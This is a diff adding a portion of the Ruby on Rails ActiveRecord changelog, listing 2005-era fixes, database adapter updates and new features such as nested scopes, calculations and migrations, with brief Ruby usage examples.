+
+* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
+
+* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
+
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [schoenm at earthlink.net]
+
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [DHH]
+
+* Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
+
+* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
+
+* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack at wobblini.net]
+
+* Define attribute query methods to avoid method_missing calls. #3677 [jonathan at bluewire.net.nz]
+
+* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
+
+* Added support for nested scopes #3407 [anna at wota.jp]. Examples:
+
+    Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
+      Developer.find(:all)     # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
+
+      # inner rule is used. (all previous parameters are ignored)
+      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        Developer.find(:all)   # => SELECT * FROM developers WHERE (name = 'Jamis')
+      end
+
+      # parameters are merged
+      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        Developer.find(:all)   # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
+      end
+    end
+
+* Fixed db2 connection with empty user_name and auth options #3622 [phurley at gmail.com]
+
+* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
+
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [lars at pind.com]
+
+* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
+
+    Person.average :age
+    Person.minimum :age
+    Person.maximum :age
+    Person.sum :salary, :group => :last_name
+
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [contact at lukeredpath.co.uk]
+
+* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
+
+* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm at earthlink.net]
+
+* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails at atyp.de]
+
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [skaes]
+
+* Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
+
+* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
+
+* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table).  #2920 [Blair Zajac]
+
+* SQLServer: more compatible limit/offset emulation.  #3779 [Tom Ward]
+
+* Polymorphic join support for has_one associations (has_one :foo, :as => :bar)  #3785 [Rick Olson]
+
+* PostgreSQL: correctly parse negative integer column defaults.  #3776 [bellis at deepthought.org]
+
+* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
+
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Luetke]
+
+* Using AssociationCollection#build with arrays of hashes should call build, not create [DHH]
+
+* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
+
+* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
+
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [shugo at ruby-lang.org]
+
+* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra at fngtps.com>]
+
+* If the OCI library is not available, raise an exception indicating as much. #3593 [schoenm at earthlink.net]
+
+* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
+
+* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo at rpi.edu>, Marcel Molina Jr.]
+
+* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
+
+* Make .count work for has_many associations with multi line finder sql [schoenm at earthlink.net]
+
+* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
+
+* Allow configuration of the column used for optimistic locking [wilsonb at gmail.com]
+
+* Don't hardcode 'id' in acts as list.  [ror at philippeapril.com]
+
+* Fix date errors for SQLServer in association tests. #3406 [kevin.clark at gmal.com]
+
+* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna at wota.jp]
+
+* Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky at gmail.com]
+
+* .with_scope imposed create parameters now bypass attr_protected [Tobias Luetke]
+
+* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
+
+* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact at maik-schmidt.de]
+
+* Sanitize scoped conditions. [Marcel Molina Jr.]
+
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [DHH]
+
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [TobiasLuetke]
+
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [TobiasLuetke]
+
+* Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails at quantumfoam.org, Florian Weber]
+
+* Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn at box.cz, Rick Olson, Scott Barron] 
+
+* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Luetke] 
+
+* made method missing delegation to class methods on relation target work on :through associations. [Tobias Luetke] 
+
+* made .find() work on :through relations. [Tobias Luetke] 
+
+* Fix typo in association docs. #3296. [Blair Zajac]
+
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Luetke] 
+
+*1.13.2* (December 13th, 2005)
+
+* Become part of Rails 1.0
+
+* MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
+
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [DHH]. Example:
+
+    class Post
+      has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
+    end
+
+    post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
+    post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
+    post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
+
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [DHH]
+
+* MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
+
+* SQLServer: fix obscure optimistic locking bug.  #3068 [kajism at yahoo.com]
+
+* SQLServer: support uniqueidentifier columns.  #2930 [keithm at infused.org]
+
+* SQLServer: cope with tables names qualified by owner.  #3067 [jeff at ministrycentered.com]
+
+* SQLServer: cope with columns with "desc" in the name.  #1950 [Ron Lusk, Ryan Tomayko]
+
+* SQLServer: cope with primary keys with "select" in the name.  #3057 [rdifrango at captechventures.com]
+
+* Oracle: active? performs a select instead of a commit.  #3133 [Michael Schoen]
+
+* MySQL: more robust test for nullified result hashes.  #3124 [Stefan Kaes]
+
+* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausoleil]
+
+* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
+
+* PostgreSQL: more robust sequence name discovery.  #3087 [Rick Olson]
+
+* Oracle: use syntax compatible with Oracle 8.  #3131 [Michael Schoen]
+
+* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
+
+* Added preliminary support for polymorphic associations [DHH]
+
+* Added preliminary support for join models [DHH]
+
+* Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy at jthopple.com, Marcel Molina Jr.]
+
+* Firebird: active? and reconnect! methods for handling stale connections.  #428 [Ken Kunz <kennethkunz at gmail.com>]
+
+* Firebird: updated for FireRuby 0.4.0.  #3009 [Ken Kunz <kennethkunz at gmail.com>]
+
+* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver.  #428 [Jeremy Kemper]
+
+* Oracle: active? check pings the database rather than testing the last command status.  #428 [Michael Schoen]
+
+* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find.  #2974 [kajism at yahoo.com]
+
+* Reloading a model doesn't lose track of its connection.  #2996 [junk at miriamtech.com, Jeremy Kemper]
+
+* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman at rominato.com, Florian Weber, Michael Schoen]
+
+* MySQL, PostgreSQL: reconnect! also reconfigures the connection.  Otherwise, the connection 'loses' its settings if it times out and is reconnected.  #2978 [Shugo Maeda]
+
+* has_and_belongs_to_many: use JOIN instead of LEFT JOIN.  [Jeremy Kemper]
+
+* MySQL: introduce :encoding option to specify the character set for client, connection, and results.  Only available for MySQL 4.1 and later with the mysql-ruby driver.  Do SHOW CHARACTER SET in mysql client to see available encodings.  #2975 [Shugo Maeda]
+
+* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
+
+* Correct boolean handling in generated reader methods.  #2945 [don.park at gmail.com, Stefan Kaes]
+
+* Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
+
+* Document :force option to create_table.  #2921 [Blair Zajac <blair at orcaware.com>]
+
+* Don't add the same conditions twice in has_one finder sql.  #2916 [Jeremy Evans]
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+* Introducing the Firebird adapter.  Quote columns and use attribute_condition more consistently.  Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter  #1874 [Ken Kunz <kennethkunz at gmail.com>]
+
+* SQLServer: active? and reconnect! methods for handling stale connections.  #428 [kajism at yahoo.com, Tom Ward <tom at popdog.net>]
+
+* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array.  #1345 [MarkusQ at reality.com]
+
+* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY.  #2866 [kajism at yahoo.com, Tom Ward <tom at popdog.net>]
+
+* Oracle: active? and reconnect! methods for handling stale connections.  Optionally retry queries after reconnect.  #428 [Michael Schoen <schoenm at earthlink.net>]
+
+* Correct documentation for Base.delete_all.  #1568 [Newhydra]
+
+* Oracle: test case for column default parsing.  #2788 [Michael Schoen <schoenm at earthlink.net>]
+
+* Update documentation for Migrations.  #2861 [Tom Werner <tom at cube6media.com>]
+
+* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection.  Connection adapter must respond to the active? and reconnect! instance methods.  Initial support for PostgreSQL, MySQL, and SQLite.  Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil?  #428 [Jeremy Kemper]
+
+* Oracle: Much faster column reflection.  #2848 [Michael Schoen <schoenm at earthlink.net>]
+
+* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing).  Base.define_attr_method allows nil values.  [Jeremy Kemper]
+
+* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence.  [Jeremy Kemper]
+
+* PostgreSQL: correctly discover custom primary key sequences.  #2594 [Blair Zajac <blair at orcaware.com>, meadow.nnick at gmail.com, Jeremy Kemper]
+
+* SQLServer: don't report limits for unsupported field types.  #2835 [Ryan Tomayko]
+
+* Include the Enumerable module in ActiveRecord::Errors.  [Rick Bradley <rick at rickbradley.com>]
+
+* Add :group option, correspond to GROUP BY, to the find method and to the has_many association.  #2818 [rubyonrails at atyp.de]
+
+* Don't cast nil or empty strings to a dummy date.  #2789 [Rick Bradley <rick at rickbradley.com>]
+
+* acts_as_list plays nicely with inheritance by remembering the class which declared it.  #2811 [rephorm at rephorm.com]
+
+* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
+
+* Fixed acts_as_list for definitions without an explicit :order #2803 [jonathan at bluewire.net.nz]
+
+* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy at tmtm.org, akuroda at gmail.com, Doug Fales <doug.fales at gmail.com>, Jeremy Kemper]
+
+* Correct handling of complex order clauses with SQL Server limit emulation.  #2770 [Tom Ward <tom at popdog.net>, Matt B.]
+
+* Correct whitespace problem in Oracle default column value parsing.  #2788 [rick at rickbradley.com]
+
+* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy.  This allows you to act on the habtm association as you please while preserving referential integrity.  #2065 [larrywilliams1 at gmail.com, sam.kirchmeier at gmail.com, elliot at townx.org, Jeremy Kemper]
+
+* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all.  [Jeremy Kemper]
+
+* More compatible Oracle column reflection.  #2771 [Ryan Davis <ryand-ruby at zenspider.com>, Michael Schoen <schoenm at earthlink.net>]
+
+
+*1.13.0* (November 7th, 2005)
+
+* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
+
+* Added :include as an option for association declarations [DHH]. Example:
+
+    has_many :posts, :include => [ :author, :comments ]
+
+* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints.  Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes.  [Jeremy Kemper]  Example:
+
+    Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
+      # Find where name = ? and active=true
+      Comment.find :all, :conditions => ['name = ?', name]
+      # Create comment associated with :post_id
+      Comment.create :body => "Hello world"
+    end
+
+* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
+
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [DHH]. Example:
+
+    Comment.constrain(:creation => { :post_id => 5 }) do
+      # Associated with :post_id
+      Comment.create :body => "Hello world"
+    end
+
+  This is rarely used directly, but allows for find_or_create on associations. So you can do:
+
+    # If the tag doesn't exist, a new one is created that's associated with the person
+    person.tags.find_or_create_by_name("Summer")
+
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [DHH]. Example:
+
+    # No 'Summer' tag exists
+    Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
+
+    # Now the 'Summer' tag does exist
+    Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
+
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [DHH]. Example:
+
+    class Account < ActiveRecord::Base
+      has_many :people do
+        def find_or_create_by_name(name)
+          first_name, *last_name = name.split
+          last_name = last_name.join " "
+
+          find_or_create_by_first_name_and_last_name(first_name, last_name)
+        end
+      end
+    end
+
+    person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
+    person.first_name # => "David"
+    person.last_name  # => "Heinemeier Hansson"
+
+  Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
+
+* Omit internal dtproperties table from SQLServer table list.  #2729 [rtomayko at gmail.com]
+
+* Quote column names in generated SQL.  #2728 [rtomayko at gmail.com]
+
+* Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
+
+* Add Model.create! to match existing model.save! method.  When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors).  [Jeremy Kemper]
+
+* Correct fixture behavior when table name pluralization is off.  #2719 [Rick Bradley <rick at rickbradley.com>]
+
+* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
+
+* Added migration support for Oracle #2647 [Michael Schoen]
+
+* Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm at earthlink.net>]
+
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 [rtomayko at gmail.com]
+
+* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
+
+* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
+
+* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility.  #2618 [dansketcher at gmail.com]
+
+* Constraints are cloned so they can't be inadvertently modified while they're
+in effect.  Added :readonly finder constraint.  Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true.  [Jeremy Kemper <rails at bitsweat.net>]
+
+* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson at gmail.com]
+
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [schoenm at earthlink.net]
+
+* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
+
+
+*1.12.2* (October 26th, 2005)
+
+* Allow symbols to rename columns when using SQLite adapter. #2531 [kevin.clark at gmail.com]
+
+* Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby at planetargon.com>]
+
+* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [skaes at web.de]
+
+* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick at lenz.sh>]
+
+* HABTM finders shouldn't return readonly records.  #2525 [Patrick Lenz <patrick at lenz.sh>]
+
+* Make all tests runnable on their own. #2521. [Blair Zajac <blair at orcaware.com>]
+
+
+*1.12.1* (October 19th, 2005)
+
+* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
+
+* Correct PostgreSQL primary key sequence detection.  #2507 [tmornini at infomania.com]
+
+* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
+
+
+*1.12.0* (October 16th, 2005)
+
+* Update/clean up documentation (rdoc)
+
+* PostgreSQL sequence support.  Use set_sequence_name in your model class to specify its primary key sequence.  #2292 [Rick Olson <technoweenie at gmail.com>, Robby Russell <robby at planetargon.com>]
+
+* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
+
+* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table.  #1896 [purestorm at ggnore.net]
+
+* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby at planetargon.com>] 
+
+* Introduce read-only records.  If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save.  object.readonly? reports whether the object is read-only.  Passing :readonly => true to any finder method will mark returned records as read-only.  The :joins option now implies :readonly, so if you use this option, saving the same record will now fail.  Use find_by_sql to work around.
+
+* Avoid memleak in dev mode when using fcgi
+
+* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me at cpb.ca>]
+
+* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair at orcaware.com>]
+
+* Fix errors caused by assigning a has-one or belongs-to property to itself
+
+* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
+
+* Update DB2 adapter. #2206. [contact at maik-schmidt.de]
+
+* Corrections to SQLServer native data types. #2267.  [rails.20.clarry at spamgourmet.com]
+
+* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
+
+* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair at orcaware.com>]
+
+* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
+
+* Add test coverage for content_columns. #2432. [coffee2code]
+
+* Speed up for unthreaded environments. #2431. [skaes at web.de]
+
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [skaes at web.de]
+
+* Speed up the setting of table_name. #2428. [skaes at web.de]
+
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [skaes at web.de]
+
+* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael at schuerig.de>]
+
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [skaes at web.de]
+
+* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael at schuerig.de>]
+
+* Add geometric type for postgresql adapter. #2233 [akaspick at gmail.com]
+
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [skaes at web.de]
+
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [skaes at web.de]
+
+* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad at chadfowler.com>, Nicholas Seckar]
+
+* Added :force option to create_table that'll try to drop the table if it already exists before creating
+
+* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
+
+* Use foreign_key inflection uniformly.  #2156 [Blair Zajac <blair at orcaware.com>]
+
+* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys.  #2221 [joergd at pobox.com, ObieFernandez <obiefernandez at gmail.com>]
+
+* Returning false from before_destroy should cancel the action.  #1829 [Jeremy Huffman]
+
+* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type.  #2256 [mat <mat at absolight.fr>]
+
+* Extensive documentation for the abstract database adapter.  #2250 [François Beausoleil <fbeausoleil at ftml.net>]
+
+* Clean up Fixtures.reset_sequences for PostgreSQL.  Handle tables with no rows and models with custom primary keys.  #2174, #2183 [jay at jay.fm, Blair Zajac <blair at orcaware.com>]
+
+* Improve error message when nil is assigned to an attr which validates_size_of within a range.  #2022 [Manuel Holtgrewe <purestorm at ggnore.net>]
+
+* Make update_attribute use the same writer method that update_attributes uses.
+ #2237 [trevor at protocool.com]
+
+* Make migrations honor table name prefixes and suffixes. #2298 [Jakob S, Marcel Molina]
+
+* Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave at cherryville.org, ken at miriamtech.com, bellis at deepthought.org]
+
+* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id.  #1749 [chris at chrisbrinker.com]
+
+* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
+
+* Added new symbol-driven approach to activating observers with Base#observers= [DHH]. Example:
+
+    ActiveRecord::Base.observers = :cacher, :garbage_collector
+
+* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo at gatelys.com]
+
+* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
+
+* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
+
+* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
+
+* Fixed migrations for Windows when using more than 10 [David Naseby]
+
+* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
+
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Luetke]
+
+* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
+
+* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
+
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina]
+
+* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
+
+* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
+
+* Added better exception error when unknown column types are used with migrations #1814 [fbeausoleil at ftml.net]
+
+* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism at yahoo.com]
+
+* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
+
+* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
+
+* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
+
+* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd at notso.net]
+
+* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
+
+* Make sure the schema_info table is created before querying the current version #1903
+
+* Fixtures ignore table name prefix and suffix #1987 [Jakob S]
+
+* Add documentation for index_type argument to add_index method for migrations #2005 [blaine at odeo.com]
+
+* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
+
+* Make destroy return self #1913 [sebastian.kanthak at muehlheim.de]
+
+* Fix typo in validations documentation #1938 [court3nay]
+
+* Make acts_as_list work for insert_at(1) #1966 [hensleyl at papermountain.org]
+
+* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
+
+* Allow add_column and create_table to specify NOT NULL #1712 [emptysands at gmail.com]
+
+* Fix create_table so that id column is implicitly added [Rick Olson]
+
+* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
+
+* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
+
+* Fixed the handling of camelCase columns names in Oracle #1798
+
+* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
+
+* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
+
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Luetke]
+
+    class Comment < AR:B
+      def self.search(q)
+        find(:all, :conditions => ["body = ?", q])
+      end
+    end 
+
+    class Post < AR:B
+      has_many :comments
+    end
+
+    Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
+
+  NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
+  by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
+  details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
+  noticed :)
+
+* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
+
+* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
+
+* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
+
+* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
+
+* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
+
+
+*1.11.1* (11 July, 2005)
+
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olsen]
+
+* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler at kianta.com]
+
+* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
+
+* Correct reflected table name for singular associations.  #1688 [court3nay at gmail.com]
+
+* Fixed optimistic locking with SQL Server #1660 [tom at popdog.net]
+
+* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
+
+* Added better error message for "packets out of order" #1630 [courtenay]
+
+* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
+
+
+*1.11.0* (6 July, 2005)
+
+* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
+
+* Changed logging of SQL statements to use the DEBUG level instead of INFO
+
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Luetke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+
+* Added callback hooks to association collections #1549 [Florian Weber]. Example:
+
+    class Project
+      has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
+
+      def evaluate_velocity(developer)
+        ...
+      end
+    end 
+
+  ..raising an exception will cause the object not to be added (or removed, with before_remove).
+
+
+* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
+
+* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
+
+* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
+
+* Speed up ActiveRecord#method_missing for the common case (read_attribute).
+
+* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [skaes at web.de]
+
+* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
+
+* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel at onemail.at]
+
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [michael at schuerig.de]
+
+* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
+
